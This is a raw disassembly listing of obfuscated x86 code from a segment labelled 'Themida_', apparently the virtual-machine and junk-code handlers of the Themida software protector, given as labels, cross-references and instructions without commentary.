loc_59B077: ; CODE XREF: Themida_:005AECEEj
shr esi, 6
jmp loc_5A277A
; ---------------------------------------------------------------------------
loc_59B07F: ; CODE XREF: Themida_:005AC05Ej
mov [esp], esi
mov esi, 670A3209h
shr esi, 8
add esi, 0FF98F5CEh
sub esp, 4
mov [esp], esi
push edi
mov edi, 188C72B3h
jmp loc_5A18CF
; ---------------------------------------------------------------------------
loc_59B0A4: ; CODE XREF: Themida_:005A7FF2j
mov ebx, 5E062581h
inc ebx
neg ebx
shr ebx, 3
not ebx
xor ebx, 35E026FFh
sub ebx, 73E3B93Dh
sub eax, ebx
pop ebx
pop edi
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
mov esp, [esp]
mul cx
push small 4B4h
mov [esp], dx
push ax
pushf
jmp loc_5989A3
; ---------------------------------------------------------------------------
mov eax, [esp]
sub esp, 4
mov [esp], ecx
push edi
mov edi, esp
add edi, 4
push edx
mov edx, 4
jmp loc_5AB0BB
; ---------------------------------------------------------------------------
loc_59B100: ; CODE XREF: Themida_:0059E677j
pop edi
pop edx
push edi
mov edi, esp
add edi, 4
sub edi, 4
jmp loc_5A5A88
; ---------------------------------------------------------------------------
loc_59B116: ; CODE XREF: Themida_:005AE1E8j
add edx, 3C834EFEh
jmp loc_5AF6D8
; ---------------------------------------------------------------------------
loc_59B121: ; CODE XREF: Themida_:005A6C9Bj
pop ebx
xor edi, 3CFF2B87h
push eax
mov eax, 0A8F10D8h
jmp loc_5AF4D3
; ---------------------------------------------------------------------------
loc_59B133: ; CODE XREF: Themida_:00599F75j
mov esp, [esp]
mov [esp], edi
push 61376279h
pop edi
sub esp, 4
mov [esp], ebx
mov ebx, 59201FCDh
xor edi, ebx
jmp loc_5AD1FB
; ---------------------------------------------------------------------------
loc_59B151: ; CODE XREF: Themida_:005AE699j
mov ecx, [esp]
add esp, 4
add ecx, edx
mov edx, [esp]
jmp loc_5AA9E9
; ---------------------------------------------------------------------------
loc_59B164: ; CODE XREF: Themida_:005A87D4j
; Themida_:loc_5ABBF5j
jmp loc_5AAF7C
; ---------------------------------------------------------------------------
loc_59B169: ; CODE XREF: Themida_:005A27EAj
and al, 0C9h
or al, 33h
not al
push ecx
jmp loc_5A1AE9
; ---------------------------------------------------------------------------
loc_59B175: ; CODE XREF: Themida_:005A1905j
mov ecx, 33521D95h
neg ecx
jle loc_5AAD5A
sub ecx, 39A2348Fh
jbe loc_59D33B
push esp
loc_59B18F: ; CODE XREF: Themida_:005A1734j
mov [esp], eax
push esp
pop eax
add eax, 4
jmp loc_5A5FAA
; ---------------------------------------------------------------------------
loc_59B19E: ; CODE XREF: Themida_:005AFDDDj
jmp loc_5A4F38
; ---------------------------------------------------------------------------
loc_59B1A3: ; CODE XREF: Themida_:0059FBA2j
push ebx
mov ebx, 71C16199h
or ebx, 21533FE1h
shr ebx, 6
push edx
jmp loc_59A0B7
; ---------------------------------------------------------------------------
loc_59B1B8: ; CODE XREF: Themida_:0059A77Fj
xchg edi, [esp]
pop esp
push ebx
mov ebx, esp
push edx
jmp loc_5A5660
; ---------------------------------------------------------------------------
loc_59B1C5: ; CODE XREF: Themida_:005A9AE1j
push dword ptr [esp+4]
jmp loc_5A6981
; ---------------------------------------------------------------------------
loc_59B1CE: ; CODE XREF: Themida_:005AAE6Dj
push 34D5h
mov [esp], esp
add dword ptr [esp], 4
push dword ptr [esp]
pop esi
jmp loc_5A5002
; ---------------------------------------------------------------------------
loc_59B1E3: ; CODE XREF: Themida_:005A075Ej
; Themida_:005A93D9j
mov esp, [esp]
jmp loc_5ABFBF
; ---------------------------------------------------------------------------
loc_59B1EB: ; CODE XREF: Themida_:005A9430j
mov dl, 0B7h
xor ah, dl
mov edx, [esp]
add esp, 4
shl ah, 2
jnp loc_5A305E
add ah, 95h
shl ah, 5
js loc_5A99DC
xor ah, 9
jmp loc_59BEA4
; ---------------------------------------------------------------------------
loc_59B215: ; CODE XREF: Themida_:005A24FCj
mov [esp], ecx
jmp loc_5A7BB9
; ---------------------------------------------------------------------------
loc_59B21D: ; CODE XREF: Themida_:0059A351j
push edi
push ebx
mov ebx, 39D5792Ch
add ebx, 45F92B53h
jmp loc_59ED32
; ---------------------------------------------------------------------------
loc_59B22F: ; CODE XREF: Themida_:0059CAE4j
sub ch, 0B1h
sub ch, dl
add ch, 0B1h
push dword ptr [esp]
push dword ptr [esp]
pop edx
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
push esi
mov esi, esp
add esi, 4
push edx
mov edx, 4
add esi, edx
pop edx
xchg esi, [esp]
pop esp
sub esp, 2
mov [esp], ax
push ebx
mov bh, 11h
xor bh, 0EFh
jno loc_59BDAA
shl bh, 5
jnp loc_59E8FC
and bh, 6Ch
push ebx
loc_59B287: ; CODE XREF: Themida_:005A7778j
inc eax
jo loc_5A4A8C
shl eax, 5
jmp loc_5A4F0B
; ---------------------------------------------------------------------------
loc_59B296: ; CODE XREF: Themida_:005A6DFAj
push 0C8D0DE4h
jmp loc_5A2284
; ---------------------------------------------------------------------------
loc_59B2A0: ; DATA XREF: Themida_:00598720o
mov esp, [esp]
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_59B2A8: ; CODE XREF: Themida_:0059912Cj
; Themida_:0059F3EEj
xor [esp], edx
xor edx, [esp]
mov esp, [esp]
mov [esp], ecx
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_59B2B9: ; CODE XREF: Themida_:0059D324j
mov [esp], ecx
jmp loc_5A9CEF
; ---------------------------------------------------------------------------
loc_59B2C1: ; CODE XREF: Themida_:loc_5A08ADj
shl edi, 8
jz loc_5A41BF
shr edi, 5
jp loc_5A3FE5
add edi, 0FD05424Ch
add [esp+4], edi
mov edi, [esp]
mov esi, eax
loc_59B2E2: ; CODE XREF: Themida_:005A3714j
push 27EBh
mov [esp], edx
mov edx, 44804925h
xor ecx, edx
mov edx, [esp]
add esp, 4
shr ecx, 7
add ecx, 2F129A97h
add eax, ecx
jmp loc_59D3DF
; ---------------------------------------------------------------------------
loc_59B307: ; CODE XREF: Themida_:00599844j
mov esp, [esp]
sub [edi+24h], esi
pop esi
loc_59B30E: ; CODE XREF: Themida_:0059A0DAj
push 5CC2h
mov [esp], ecx
jmp loc_5AD255
; ---------------------------------------------------------------------------
loc_59B31B: ; CODE XREF: Themida_:005AC4C4j
xor ebp, 68DBED8Dh
sub esi, ebp
jmp loc_5AA740
; ---------------------------------------------------------------------------
loc_59B328: ; CODE XREF: Themida_:005A2775j
mov dl, 0F2h
or dl, 0EFh
dec dl
jno loc_5AAFC2
add dl, 5Dh
jnb loc_5ABB7F
mov esi, ebp
loc_59B340: ; CODE XREF: Themida_:005A2663j
not eax
xor edx, eax
jmp loc_5AE684
; ---------------------------------------------------------------------------
loc_59B349: ; CODE XREF: Themida_:0059AAEFj
mov [esp], edi
jmp loc_5A31E4
; ---------------------------------------------------------------------------
loc_59B351: ; CODE XREF: Themida_:005A226Bj
sub esp, 4
mov [esp], edi
mov edi, 2
jmp loc_5ACAD7
; ---------------------------------------------------------------------------
lodsb
push eax
mov eax, esp
add eax, 4
push ebp
mov ebp, 4
sub eax, ebp
pop ebp
jmp loc_5A8355
; ---------------------------------------------------------------------------
loc_59B37B: ; CODE XREF: Themida_:005A492Fj
; Themida_:005A8B1Aj
shr esi, 5
push ebx
jmp loc_5AC819
; ---------------------------------------------------------------------------
loc_59B384: ; CODE XREF: Themida_:0059D556j
; Themida_:005A8F34j
add esi, 46C466E4h
add esi, edx
sub esi, 46C466E4h
pop edx
add ebx, esi
jmp loc_5ADE89
; ---------------------------------------------------------------------------
loc_59B39A: ; CODE XREF: Themida_:005AAC0Cj
lodsb
jmp loc_59E60D
; ---------------------------------------------------------------------------
loc_59B3A0: ; CODE XREF: Themida_:005A05E0j
add esp, 4
push dword ptr [esp]
mov esi, [esp]
push edi
mov edi, esp
add edi, 4
add edi, 4
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
pop esp
add esp, 4
push ecx
push ebx
mov ebx, 648E27D1h
push ebx
pop ecx
pop ebx
jmp loc_59C14B
; ---------------------------------------------------------------------------
loc_59B3D4: ; CODE XREF: Themida_:0059980Aj
xor ah, 0EFh
mov bh, ah
jmp loc_5A565A
; ---------------------------------------------------------------------------
loc_59B3DE: ; CODE XREF: Themida_:005AAFBDj
jmp loc_59C189
; ---------------------------------------------------------------------------
loc_59B3E3: ; CODE XREF: Themida_:005AEB08j
xor esi, [esp]
pop esp
push 6ADBh
mov [esp], edi
jmp loc_5A0A58
; ---------------------------------------------------------------------------
loc_59B3F4: ; CODE XREF: Themida_:005A75ACj
; Themida_:005AAFD5j
pop edx
shl ah, 7
sub ah, 1
jmp loc_5AF285
; ---------------------------------------------------------------------------
loc_59B400: ; CODE XREF: Themida_:005A2303j
inc ecx
jmp loc_5A64EA
; ---------------------------------------------------------------------------
loc_59B406: ; CODE XREF: Themida_:00599B21j
mov esp, [esp]
push 28A6h
mov [esp], ecx
push 3278h
jmp loc_59EFE6
; ---------------------------------------------------------------------------
loc_59B41B: ; CODE XREF: Themida_:005A71D7j
push ebx
push edi
mov edi, 60F407AEh
jmp loc_59E862
; ---------------------------------------------------------------------------
loc_59B427: ; CODE XREF: Themida_:005A88CBj
mov esi, 58576824h
jmp loc_59A1D9
; ---------------------------------------------------------------------------
loc_59B431: ; CODE XREF: Themida_:005A7354j
mov edx, eax
pop eax
push dword ptr [esp]
pop esi
push 1AB8h
mov [esp], edx
jmp loc_5AA7E5
; ---------------------------------------------------------------------------
loc_59B445: ; CODE XREF: Themida_:005A2468j
xor ecx, [esp]
xor [esp], ecx
jmp loc_5A30C7
; ---------------------------------------------------------------------------
loc_59B450: ; CODE XREF: Themida_:005AEB8Cj
pop esi
mov ebp, [esp]
jmp loc_5A2ED6
; ---------------------------------------------------------------------------
loc_59B459: ; CODE XREF: Themida_:005AD96Fj
push eax
mov eax, 0A7F4CA6h
inc eax
and eax, 2FEF4242h
jz loc_5A3343
add eax, 0F24A6378h
xor edx, eax
pop eax
sub ebx, 7DAE11E2h
sub ebx, edx
add ebx, 7DAE11E2h
pop edx
xchg ebx, [esp]
mov esp, [esp]
mov [esp], cx
movzx cx, al
push cx
pushf
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_59B498: ; CODE XREF: Themida_:005A61F4j
mov edi, esi
jmp loc_5A8DDD
; ---------------------------------------------------------------------------
loc_59B49F: ; CODE XREF: Themida_:005A811Dj
; Themida_:005ABCA3j
push dx
mov dl, 0EEh
xor bl, dl
pop dx
jmp loc_59C21D
; ---------------------------------------------------------------------------
loc_59B4AC: ; CODE XREF: Themida_:0059D803j
pop ecx
add esp, 4
jmp loc_5A0800
; ---------------------------------------------------------------------------
loc_59B4B8: ; CODE XREF: Themida_:005ACC72j
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_59A583
; ---------------------------------------------------------------------------
loc_59B4CF: ; CODE XREF: Themida_:0059C710j
add esp, 4
shr eax, 8
jmp loc_5A8F69
; ---------------------------------------------------------------------------
loc_59B4DD: ; CODE XREF: Themida_:0059FCF9j
xor edi, [esp]
xor [esp], edi
jmp loc_5AD033
; ---------------------------------------------------------------------------
loc_59B4E8: ; CODE XREF: Themida_:0059F9BEj
shl ebp, 3
sub ebp, 385A5D91h
dec ebp
sub ebp, 454062FFh
add edx, ebp
pop ebp
push ebp
push ecx
mov ecx, 71847D98h
mov ebp, 1C8721FDh
xor ebp, ecx
pop ecx
xor ebp, 37D65E6Eh
sub edx, ebp
jmp loc_5AC345
; ---------------------------------------------------------------------------
loc_59B517: ; CODE XREF: Themida_:005A29F5j
add esp, 4
sub bl, al
push small 4427h
jmp loc_5A97DE
; ---------------------------------------------------------------------------
loc_59B525: ; CODE XREF: Themida_:0059BEAEj
add ah, 0F3h
sub ah, bh
sub ah, 0F3h
jmp loc_5AC7E0
; ---------------------------------------------------------------------------
loc_59B532: ; CODE XREF: Themida_:005AA1A7j
mov [esp], ecx
sub esp, 4
mov [esp], ebp
jmp loc_5A57B3
; ---------------------------------------------------------------------------
loc_59B540: ; DATA XREF: Themida_:00598844o
neg dword ptr [esp]
pushf
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_59B549: ; CODE XREF: Themida_:0059E737j
push small 66DEh
jmp loc_5AB83F
; ---------------------------------------------------------------------------
loc_59B552: ; CODE XREF: Themida_:005A9B9Dj
inc ecx
jg loc_59ACC0
xor ecx, 18656A8Ah
jmp loc_59EAD2
; ---------------------------------------------------------------------------
push ecx
loc_59B565: ; CODE XREF: Themida_:005A25C3j
push 345Eh
jmp loc_5A04A3
; ---------------------------------------------------------------------------
loc_59B56F: ; CODE XREF: Themida_:0059FBFCj
neg ebp
push ebx
jmp loc_5AEC8E
; ---------------------------------------------------------------------------
loc_59B577: ; CODE XREF: Themida_:00598CFCj
push esp
jmp loc_5A1A6C
; ---------------------------------------------------------------------------
loc_59B57D: ; CODE XREF: Themida_:0059CDA2j
mov ecx, 814C67A5h
sub ecx, edi
pop edi
add ecx, 1AFE3136h
or ecx, 72CE2E61h
neg ecx
sub ecx, 2CDAF355h
sub edx, 45800F06h
add edx, ecx
add edx, 45800F06h
pop ecx
mov eax, edx
pop edx
mov edi, eax
jmp loc_5A1739
; ---------------------------------------------------------------------------
loc_59B5B2: ; CODE XREF: Themida_:0059BEF5j
mov edx, 3BF56C34h
mov ebx, edx
pop edx
add ebx, 447A2423h
push ebx
mov ebx, esp
jmp loc_59CB35
; ---------------------------------------------------------------------------
loc_59B5C8: ; CODE XREF: Themida_:005A5506j
inc ebp
jmp loc_5A9DF3
; ---------------------------------------------------------------------------
loc_59B5CE: ; CODE XREF: Themida_:0059ED2Dj
add eax, ebx
pop ebx
push dword ptr [esp]
pop ecx
add esp, 4
shl eax, cl
jmp loc_5A1ECA
; ---------------------------------------------------------------------------
loc_59B5DF: ; CODE XREF: Themida_:0059C9C1j
push esi
mov esi, 649D3DB9h
or esi, 798A750Dh
xor esi, 7A903999h
jmp loc_5AA88C
; ---------------------------------------------------------------------------
loc_59B5F6: ; CODE XREF: Themida_:005AB280j
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_59B5FB: ; CODE XREF: Themida_:00598F54j
neg edx
and edx, 1FB03BD7h
shl edx, 5
sub edx, 1
or edx, 1EB5467Ch
push ebp
jmp loc_5AACA9
; ---------------------------------------------------------------------------
loc_59B618: ; CODE XREF: Themida_:0059F964j
mov edi, [esp]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
jmp loc_5A2DA2
; ---------------------------------------------------------------------------
loc_59B62F: ; CODE XREF: Themida_:005AA99Fj
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
push ebp
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
pop esp
push 7271h
mov [esp], eax
mov al, 0F0h
jmp loc_59FCFE
; ---------------------------------------------------------------------------
loc_59B655: ; CODE XREF: Themida_:005AC307j
xor ecx, edx
push dword ptr [esp]
pop edx
add esp, 4
pop eax
or [edi+1Ch], ecx
mov ecx, [esp]
add esp, 4
loc_59B66B: ; CODE XREF: Themida_:005A1BF1j
push 38D4h
mov [esp], ebx
sub esp, 4
mov [esp], ecx
mov ecx, 685656Eh
push ebx
push ebp
mov ebp, 6CCD6791h
jmp loc_5A695B
; ---------------------------------------------------------------------------
loc_59B68D: ; CODE XREF: Themida_:005AD56Cj
pop esi
add eax, 4
xchg eax, [esp]
pop esp
push dword ptr [esp]
jmp loc_5A4ED4
; ---------------------------------------------------------------------------
loc_59B69D: ; CODE XREF: Themida_:005ABFEBj
or eax, 5B2414BEh
neg eax
jmp loc_5ABEEA
; ---------------------------------------------------------------------------
loc_59B6A9: ; CODE XREF: Themida_:0059E8F0j
pop eax
add [esp+4], ebp
pop ebp
push dword ptr [esp]
jmp loc_5AEDE7
; ---------------------------------------------------------------------------
loc_59B6B7: ; CODE XREF: Themida_:0059FD57j
pop esi
shr ecx, 4
not ecx
xor ecx, 694A396Ah
inc ecx
push 0B09h
mov [esp], ebp
mov ebp, 149B67C9h
xor ebp, 3EC0648Ah
neg ebp
xor ebp, 20B62CFCh
and ebp, 3F684DC1h
neg ebp
add ebp, 0BD28D79Ch
xor ecx, ebp
pop ebp
sub edx, ecx
pop ecx
jmp loc_59CBEF
; ---------------------------------------------------------------------------
loc_59B6F8: ; CODE XREF: Themida_:00599697j
; Themida_:0059DC23j
add eax, 0AF474029h
inc eax
sub eax, 1E360CB8h
add edi, eax
pop eax
push ebx
push 2
pop ebx
add edi, ebx
jmp loc_5AB308
; ---------------------------------------------------------------------------
loc_59B714: ; CODE XREF: Themida_:005A2BDBj
push esp
pop dword ptr [esp]
add dword ptr [esp], 4
jmp loc_59D114
; ---------------------------------------------------------------------------
loc_59B721: ; CODE XREF: Themida_:005A2CF6j
add ebx, 4
sub ebx, 4
jmp loc_5AA70E
; ---------------------------------------------------------------------------
loc_59B732: ; CODE XREF: Themida_:005AFA58j
pop ecx
jmp loc_59C743
; ---------------------------------------------------------------------------
loc_59B738: ; CODE XREF: Themida_:0059FBEEj
add eax, 4
xchg eax, [esp]
jmp loc_5A4A3E
; ---------------------------------------------------------------------------
loc_59B745: ; CODE XREF: Themida_:0059C218j
mov esp, [esp]
mov [esp], dx
push ax
pushf
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_59B754: ; CODE XREF: Themida_:005A8CF0j
sub edx, 0FFFFFFFFh
sub edx, 65B9A54h
mov ecx, edx
pop edx
and ecx, 31943CF3h
add ecx, 68A90A87h
xor ecx, 987473CAh
sub ebx, ecx
pop ecx
push 6FD6h
mov [esp], eax
mov eax, 0
add eax, ebx
mov [eax], ch
pop eax
pop ebx
jmp loc_5ABEDC
; ---------------------------------------------------------------------------
loc_59B78D: ; CODE XREF: Themida_:0059A307j
and eax, ebx
push dword ptr [esp]
pop ebx
push esi
mov esi, esp
add esi, 4
add esi, 4
push esi
push dword ptr [esp+4]
push dword ptr [esp]
pop esi
add esp, 4
jmp loc_59DA39
; ---------------------------------------------------------------------------
loc_59B7B3: ; CODE XREF: Themida_:005A034Dj
add ebp, 4
xchg ebp, [esp]
pop esp
xor ch, bl
pop bx
xor al, ch
mov ecx, [esp]
add esp, 4
jmp loc_59EE2E
; ---------------------------------------------------------------------------
loc_59B7CE: ; CODE XREF: Themida_:0059EA52j
add ecx, eax
push dword ptr [esp]
pop eax
add esp, 4
jmp loc_5AB727
; ---------------------------------------------------------------------------
loc_59B7DC: ; CODE XREF: Themida_:005AD129j
add al, 0FCh
sub esp, 4
mov [esp], edx
jmp loc_5A9E31
; ---------------------------------------------------------------------------
loc_59B7E9: ; CODE XREF: Themida_:0059FE55j
jb loc_59CB0C
sub edi, 2D340FE3h
jnb loc_5A5C30
jmp loc_5AEA54
; ---------------------------------------------------------------------------
mov edx, ecx
jmp loc_5A4D65
; ---------------------------------------------------------------------------
mov eax, ebp
loc_59B809: ; CODE XREF: Themida_:0059C54Dj
add esp, 4
xor ebp, ecx
jmp loc_5AAA67
; ---------------------------------------------------------------------------
loc_59B813: ; CODE XREF: Themida_:0059C8F6j
; Themida_:loc_5A38D2j
add eax, 68DB79D5h
jns loc_5AA527
sub eax, 46272752h
jnz loc_5A0162
mov dh, ch
mov dh, 7Ah
loc_59B82D: ; CODE XREF: Themida_:005A7AE0j
pop esi
jmp loc_5A50BC
; ---------------------------------------------------------------------------
loc_59B833: ; CODE XREF: Themida_:0059A569j
; Themida_:005A79DDj
add eax, 1
push ebx
mov ebx, 53FF16C2h
jmp loc_5A3E34
; ---------------------------------------------------------------------------
loc_59B843: ; CODE XREF: Themida_:005A3C0Cj
; Themida_:005A82EAj
pop edx
add edx, 4
sub edx, 4
jmp loc_5AEFDE
; ---------------------------------------------------------------------------
loc_59B855: ; CODE XREF: Themida_:005AB4CAj
mov dh, ch
mov ecx, [esp]
jmp loc_5A7265
; ---------------------------------------------------------------------------
loc_59B85F: ; DATA XREF: Themida_:00598740o
lodsb
push ecx
mov cl, 0A7h
add cl, 12h
xor cl, 0F7h
dec cl
push ebx
push 4785h
mov [esp], edx
push ebx
jmp loc_5A17E9
; ---------------------------------------------------------------------------
loc_59B87A: ; CODE XREF: Themida_:005AA184j
mov eax, [esp]
add esp, 4
push esi
mov esi, 248E675Ah
xor eax, esi
pop esi
pop edi
add ebx, 192804C4h
jmp loc_59FA08
; ---------------------------------------------------------------------------
loc_59B898: ; CODE XREF: Themida_:0059EABCj
neg ebp
xor ebp, 158D0DA5h
and ebx, ebp
pop ebp
not ebx
sub ebx, 663F33C5h
jmp loc_5AACE4
; ---------------------------------------------------------------------------
loc_59B8B0: ; CODE XREF: Themida_:loc_5ACA82j
add esi, 72B431F6h
jge loc_598D19
jmp loc_59E7BE
; ---------------------------------------------------------------------------
or ebx, 3573037Ah
not ebx
push edx
loc_59B8CA: ; CODE XREF: Themida_:005A8FF0j
shl ecx, 6
sub ecx, 4F51277Ch
jmp loc_5AF823
; ---------------------------------------------------------------------------
loc_59B8D8: ; CODE XREF: Themida_:005A58E2j
sub esp, 4
mov [esp], esi
mov esi, esp
add esi, 4
jmp loc_5AAA6D
; ---------------------------------------------------------------------------
loc_59B8EB: ; CODE XREF: Themida_:005A8A2Fj
push edi
mov edi, 5EAE362Ch
sub esp, 4
mov [esp], edi
pop esi
jmp loc_5A8417
; ---------------------------------------------------------------------------
loc_59B8FD: ; CODE XREF: Themida_:005A042Dj
shl eax, 4
push ebp
mov ebp, 23D3AEBEh
sub eax, ebp
pop ebp
mov esi, eax
pop eax
push ebp
mov ebp, 502D6EAEh
jmp loc_5AA3A7
; ---------------------------------------------------------------------------
loc_59B917: ; CODE XREF: Themida_:005AFBFEj
sub eax, 0E8689FDh
push edx
mov edx, 3890463Fh
or eax, edx
jmp loc_5A7FE0
; ---------------------------------------------------------------------------
loc_59B929: ; CODE XREF: Themida_:005A00E5j
; Themida_:005AEB3Bj
sub dl, 79h
jmp loc_5ADEBF
; ---------------------------------------------------------------------------
loc_59B931: ; CODE XREF: Themida_:005A0F16j
push ecx
mov ch, 3Dh
xor ch, 0CCh
jmp loc_59C59E
; ---------------------------------------------------------------------------
loc_59B93C: ; CODE XREF: Themida_:005AD43Bj
push 10h
push dword ptr [esp]
jmp loc_59CBF5
; ---------------------------------------------------------------------------
loc_59B949: ; CODE XREF: Themida_:0059EC34j
; Themida_:005AF186j
xor ebx, esi
pop esi
xor ebx, 617735B3h
jmp loc_5A9B6F
; ---------------------------------------------------------------------------
loc_59B957: ; CODE XREF: Themida_:005ABBD3j
sub ecx, 46EA3E08h
add ecx, eax
add ecx, 46EA3E08h
sub esp, 4
mov [esp], ebp
push esi
jmp loc_5A0CE8
; ---------------------------------------------------------------------------
loc_59B974: ; CODE XREF: Themida_:005ABCF0j
pop esi
add ecx, eax
pop eax
push 7C31h
mov [esp], ecx
push dword ptr [esp+4]
jmp loc_59F4C2
; ---------------------------------------------------------------------------
loc_59B989: ; CODE XREF: Themida_:005AD6C6j
mov edi, 4
add ebx, edi
jmp loc_59FCB4
; ---------------------------------------------------------------------------
loc_59B995: ; CODE XREF: Themida_:loc_59A958j
sub eax, 8CE937E2h
mov esi, eax
mov eax, [esp]
add esp, 4
jmp loc_5A2DBF
; ---------------------------------------------------------------------------
loc_59B9AA: ; CODE XREF: Themida_:005AD597j
not ecx
jmp loc_5A62E8
; ---------------------------------------------------------------------------
loc_59B9B1: ; CODE XREF: Themida_:005AA3A2j
shl edi, 8
inc edi
xor edi, 69A84CCAh
add edi, 9ECEB337h
push 4515h
jmp loc_59FA8E
; ---------------------------------------------------------------------------
loc_59B9CB: ; CODE XREF: Themida_:00599045j
pop esp
mov ax, [esp]
push 4F53h
mov [esp], eax
push esp
pop eax
push 27EBh
mov [esp], esi
push esp
pop esi
add esi, 4
jmp loc_5A3AEF
; ---------------------------------------------------------------------------
loc_59B9EF: ; CODE XREF: Themida_:0059DE7Ej
sub edx, ebx
pop ebx
jmp loc_599CAC
; ---------------------------------------------------------------------------
loc_59B9F7: ; DATA XREF: Themida_:00598824o
mov ax, [esp]
push 2259h
mov [esp], esi
push esp
pop esi
add esi, 4
push 1748h
mov [esp], eax
mov eax, 2
push edi
jmp loc_5A9BD0
; ---------------------------------------------------------------------------
loc_59BA1E: ; CODE XREF: Themida_:005A6620j
add esp, 4
push 4AC1h
mov [esp], esi
jmp loc_5A1665
; ---------------------------------------------------------------------------
loc_59BA2E: ; CODE XREF: Themida_:00598E9Ej
; Themida_:0059D00Cj
mov ebp, [esp]
add esp, 4
push 3476h
jmp loc_5A9FF7
; ---------------------------------------------------------------------------
loc_59BA41: ; CODE XREF: Themida_:0059C118j
pop esi
add esp, 4
movzx eax, al
jmp loc_5AF48B
; ---------------------------------------------------------------------------
loc_59BA50: ; CODE XREF: Themida_:005ABEC9j
shl eax, 7
jp loc_5AE9A0
jmp loc_5A6F8E
; ---------------------------------------------------------------------------
loc_59BA5E: ; CODE XREF: Themida_:005A85FCj
shr esi, 4
jmp loc_5ABCA9
; ---------------------------------------------------------------------------
loc_59BA66: ; CODE XREF: Themida_:0059D83Aj
add edx, 4
sub esp, 4
mov [esp], ebx
jmp loc_5A91C9
; ---------------------------------------------------------------------------
loc_59BA77: ; CODE XREF: Themida_:005A27F8j
mov eax, [esp]
jmp loc_59D4F0
; ---------------------------------------------------------------------------
loc_59BA7F: ; CODE XREF: Themida_:005A7307j
shl ebx, 3
shl ebx, 5
push 110Ah
mov [esp], esi
jmp loc_5ABE38
; ---------------------------------------------------------------------------
sub dh, 4Bh
pop eax
neg dh
shl dh, 7
jmp loc_5AEF4E
; ---------------------------------------------------------------------------
loc_59BAA0: ; CODE XREF: Themida_:005AE4CFj
add eax, 6CF66B8Eh
pop edx
jmp loc_5ADEC6
; ---------------------------------------------------------------------------
loc_59BAAB: ; CODE XREF: Themida_:005AC52Aj
mov dh, 76h
jmp loc_5AAC43
; ---------------------------------------------------------------------------
loc_59BAB2: ; CODE XREF: Themida_:loc_59A784j
push eax
mov al, 94h
push ecx
mov cl, 0DDh
sub al, cl
pop ecx
xor bh, al
mov eax, [esp]
jmp loc_5AD189
; ---------------------------------------------------------------------------
loc_59BAC5: ; CODE XREF: Themida_:005A36FAj
; Themida_:005A9BA4j
add ebx, 4
xchg ebx, [esp]
pop esp
push edi
jmp loc_5A9A53
; ---------------------------------------------------------------------------
loc_59BAD2: ; CODE XREF: Themida_:005AADD2j
mov [esp], esi
jmp loc_5A561E
; ---------------------------------------------------------------------------
loc_59BADA: ; CODE XREF: Themida_:00599251j
pop ebx
jmp loc_5ACD75
; ---------------------------------------------------------------------------
loc_59BAE0: ; CODE XREF: Themida_:005995A3j
mov [esp], edx
jmp loc_5A814C
; ---------------------------------------------------------------------------
loc_59BAE8: ; CODE XREF: Themida_:00599DE4j
jmp loc_5A01D6
; ---------------------------------------------------------------------------
loc_59BAED: ; CODE XREF: Themida_:005A1E66j
add esp, 4
push 1F90h
mov [esp], ecx
mov ecx, 4F1348A8h
sub ecx, 1
jmp loc_59A9D9
; ---------------------------------------------------------------------------
loc_59BB0B: ; CODE XREF: Themida_:0059D3A5j
mov [esp], edi
mov edi, 7F7F48C9h
sub esi, edi
jmp loc_5989BD
; ---------------------------------------------------------------------------
loc_59BB1A: ; CODE XREF: Themida_:00599D74j
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
jmp loc_5A1816
; ---------------------------------------------------------------------------
loc_59BB2E: ; CODE XREF: Themida_:0059E932j
pop edx
movzx eax, al
push dword ptr [edi+eax*4]
mov eax, [esp]
push 5B2Ah
mov [esp], ebp
jmp loc_59EFA7
; ---------------------------------------------------------------------------
loc_59BB45: ; CODE XREF: Themida_:005AEE4Aj
mov esi, [esp]
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
jmp loc_5A3019
; ---------------------------------------------------------------------------
loc_59BB5C: ; CODE XREF: Themida_:0059F768j
; Themida_:loc_5A0A72j ...
add esp, 4
jmp loc_5A094F
; ---------------------------------------------------------------------------
loc_59BB64: ; CODE XREF: Themida_:005A30E2j
shl edi, 3
sub edi, 0FEE9E7A4h
add edx, edi
pop edi
xchg edx, [esp]
pop esp
jmp loc_5A6E67
; ---------------------------------------------------------------------------
loc_59BB79: ; CODE XREF: Themida_:005A3672j
sub eax, edi
jmp loc_5A30AF
; ---------------------------------------------------------------------------
loc_59BB80: ; CODE XREF: Themida_:0059E404j
or eax, 3C8E1A1Bh
push ebx
mov ebx, 765D5816h
xor eax, ebx
pop ebx
add eax, 1454E29Bh
xor edx, eax
pop eax
push ebx
mov ebx, edx
jmp loc_5A8E5D
; ---------------------------------------------------------------------------
loc_59BB9E: ; CODE XREF: Themida_:005AE13Aj
add esi, 5BA206A8h
add ebx, esi
mov esi, [esp]
add esp, 4
add eax, 776669A7h
sub eax, 24962125h
add eax, ebx
add eax, 24962125h
push edx
mov edx, 776669A7h
sub eax, edx
pop edx
push dword ptr [esp]
pop ebx
push edi
push esp
pop edi
push ecx
mov ecx, 4
add edi, ecx
jmp loc_59FF06
; ---------------------------------------------------------------------------
loc_59BBDD: ; CODE XREF: Themida_:0059A3DAj
add eax, ecx
mov ecx, [esp]
add esp, 4
jmp loc_5A3324
; ---------------------------------------------------------------------------
loc_59BBEA: ; CODE XREF: Themida_:005A2847j
push esp
pop ecx
jmp loc_5AC239
; ---------------------------------------------------------------------------
loc_59BBF1: ; CODE XREF: Themida_:005A26C1j
mov edx, esi
push dword ptr [esp]
pop esi
push eax
mov eax, esp
push ebx
mov ebx, 4
sub eax, 76ED4D51h
add eax, ebx
add eax, 76ED4D51h
mov ebx, [esp]
add esp, 4
add eax, 4
xor eax, [esp]
jmp loc_59A7CA
